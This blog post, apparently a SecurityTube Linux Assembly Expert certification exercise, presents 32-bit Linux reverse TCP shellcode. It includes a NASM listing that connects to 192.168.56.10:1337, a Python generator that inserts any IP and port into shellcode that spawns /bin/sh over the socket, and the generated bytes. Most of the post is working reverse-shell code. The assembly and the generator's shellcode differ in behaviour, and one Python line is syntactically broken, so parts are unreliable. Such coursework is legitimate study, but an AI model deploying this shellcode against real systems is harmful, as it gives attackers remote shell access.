SLAE: 0x2 Tcp connect back shellcode
Sun 02 April 2017
0x1 Requirements:
Write linux 32 bit shellcode that does the following:
- connect to a port via TCP on a specified IP
- executes a shell on connect
- Make it easy to reconfigure the port and ip address it connects to
0x1 Demo : putting it all together
0x3 Code walkthrough
shellcode
; Filename: tcp_reverse_execute.nasm
; Author: Plaix
; Website: http://slacklabs.be
;
; Purpose:
; Connect back to host on configurable port and runs input that it reads upon connect
; Compile:
; --------
;
; nasm -f elf32 -o tcp_reverse_execute.o tcp_reverse_execute.nasm
; ld -o tcp_reverse_execute tcp_reverse_execute.o
global _start
section .text
_start:
; clear out the regs
xor ecx,ecx
mul ecx
_socket:
; set up socket ( 0x66 ) , save FD
; socketcall syscall 102
; int socketcall(int call, unsigned long *args)
; call= ebx
; 0x01 = SYS_SOCKET
; defined in linux/net.h
; long *args = socket call
; int socket(int domain, int type, int protocol);
; PF_INET=2,SOCK_STREAM=1,0
mov byte al,0x66 ; 102
inc ebx ; 0x01 SYS_SOCKET
push ecx ; 0x00 = int protocol of socket args list
push byte 0x01 ; 0x01 = int type = SOCK_STREAM
push byte 0x02 ; = int domain = AF_INET
mov ecx,esp
int 0x80
; save fd
xchg esi,eax
_connect:
; http://man7.org/linux/man-pages/man2/bind.2.html
; int socketcall(int call, unsigned long *args)
; call = 0x03 = connect
; int connect(int sockfd, const struct sockaddr *addr,
; socklen_t addrlen);
pop ebx ; 0x02
; create struct sockaddr
; push address
push 0x0a38a8c0 ; 192.168.56.10
; use port 1337
; TCP/IP works in big endian order
; least significant bit to the right
; this will push the 2 byte port and the following
; push word bx will push 2 on the stack
; making the dword to be used in the struct for port
; 3905000002
push word 0x3905 ; port 1337
push word bx ; AF_INET = 2
inc ebx ; we need 0x03 for the connect call
mov ecx,esp ; save pointer
push byte 0x10 ; addrlen = 16
push ecx ; struct sockaddr
push esi ; sockfd
mov ecx,esp ; save pointer to bind argument lists
push byte 0x66 ; 102 socket syscall
pop eax
int 0x80
_dup2:
; duplicate stdErr(2),stdOut(1) and stdIn(0) so the socket can interact with execve spawned binary later on
; int dup2(int oldfd, int newfd);
; ecx is prepped to loop and decrease by one until signed flag is set
; this will be set if ecx goes to -1 and allows us to loop past 0
push byte 0x02
pop ecx
xchg ebx,esi ; sockFD
loop:
mov byte al,0x3f ; dup2 syscall
int 0x80
dec ecx
jns loop
_readrun:
; reads input upon connect and jump to it to run
; read syscall
mov byte al,0x03
mov ecx,esp
mov byte dl,0x7ff
inc edx
int 0x80
jmp ecx
0x4 Automation:
To automate all this I've put together a script that will create a reverse connect shell on a configurable port and address
#!/usr/bin/python
'''
; Filename: generate_tcpconnect.py
; Author: Plaix
; Website: http://slacklabs.be
;
; Purpose:
Generates a x86 linux tcp connect back shell on a configurable port and address and runs
/bin/sh on connect
'''
import sys
sh=("\\x31\\xdb\\x31\\xc9\\xf7\\xe1\\xb0\\x66\\x43\\x51\\x6a\\x01\\x6a\\x02\\x89\\xe1\\xcd\\x80\\x96\\x5b\\x68ADDRESS\\x66\\x68PORT\\x66\\x53\\x43\\x89\\xe1\\x6a\\x10\\x51\\x56\\x89\\xe1\\x6a\\x66\\x58\\xcd\\x80\\x6a\\x02\\x59\\x87\\xde\\xb0\\x3f\\xcd\\x80\\x49\\x79\\xf9\\x52\\x68\\x6e\\x2f\\x73\\x68\\x68\\x2f\\x2f\\x62\\x69\\x89\\xe3\\x89\\xe1\\x52\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80")
#\x68\xc0\xa8\x38\x0a address
#"\x05\x39" port
def check_for_badchars(bclist,shellcode):
'''
returns false if badchars are found in resulting shellcode
'''
bclist=bytearray(bclist.decode('string_escape'))
for x in bytearray(bclist):
result=bytearray(shellcode).find(bytearray(chr(x)))
if result != -1:
return True
# We're golden
return False
def generate_shellcode(port,address):
# TODO
# 1024 < port < 65356
if(port > 65356):
print ("[+] Port number %s is above limit of 65356, exiting!!" % port)
return -1
if(port < 1024 ):
print ("[+] Port number %s requires root permissions!!" % port) port=format(port,"#02x")[2:]
if len(port) < 4:
port="0"+str(port)
port="\\x"+port[:2]+"\\x"+port[2:4]
print ("[+] Port converted to hex:\t%s" % port)
address=''.join("\\x%02x" % int(x) for x in address.split('.'))
print ("[+] Address converted to hex:\t%s" % address)
converted=sh.replace('ADDRESS',address)
converted=converted.replace('PORT',port)
return converted
if __name__ == '__main__':
if len(sys.argv) < 3:
print("Need a port and address as argument")
print("usage:\t %s <port> <address> <badchars | defaults \\x00>" % (sys.argv[0]))
else:
print("[+] Using port %s" % sys.argv[1])
print("[+] Using address %s" % sys.argv[2])
result=generate_shellcode(int(sys.argv[1]),sys.argv[2])
if(result==-1):
print("[+] Shellcode generating failed!!")
else:
print("[+] Shellcode length:\t%i" % (len(result)/4))
if(len(sys.argv) == 4):
print("[+] Contains badchars: %s" %check_for_badchars(sys.argv[3],result))
else:
print("[+] Contains null bytes: %s" %check_for_badchars("\\x00",result))
print("[+] Shellcode :\n%s\n" % result)
[plaix@laptop 0x2_reverse_tcp]$ python2.7 generate_tcpconnect.py
Need a port and address as argument
usage: generate_tcpconnect.py <port> <address> <badchars | defaults \x00>
[plaix@laptop 0x2_reverse_tcp]$ python2.7 generate_tcpconnect.py 4567 192.168.1.1
[+] Using port 4567
[+] Using address 192.168.1.1
[+] Port converted to hex: \x11\xd7
[+] Address converted to hex: \xc0\xa8\x01\x01
[+] Shellcode length: 80
[+] Contains null bytes: False
[+] Shellcode :
\x31\xdb\x31\xc9\xf7\xe1\xb0\x66\x43\x51\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x96\x5b\x68\xc0\xa8\x01\x01\x66\x68\x11\xd7\x66\x53\x43\x89\xe1\x6a\x10\x51\x56\x89\xe1\x6a\x66\x58\xcd\x80\x6a\x02\x59\x87\xde\xb0\x3f\xcd\x80\x49\x79\xf9\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xe1\x52\x53\x89\xe1\xb0\x0b\xcd\x80
0x0 Resources used
Sysgrok: http://syscalls.kernelgrok.com/
Linux man pages: http://man7.org/linux/man-pages/index.html
shellstorm.org: http://shell-storm.org/shellcode/
exploit-db.com: https://www.exploit-db.com/shellcode/
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE - 827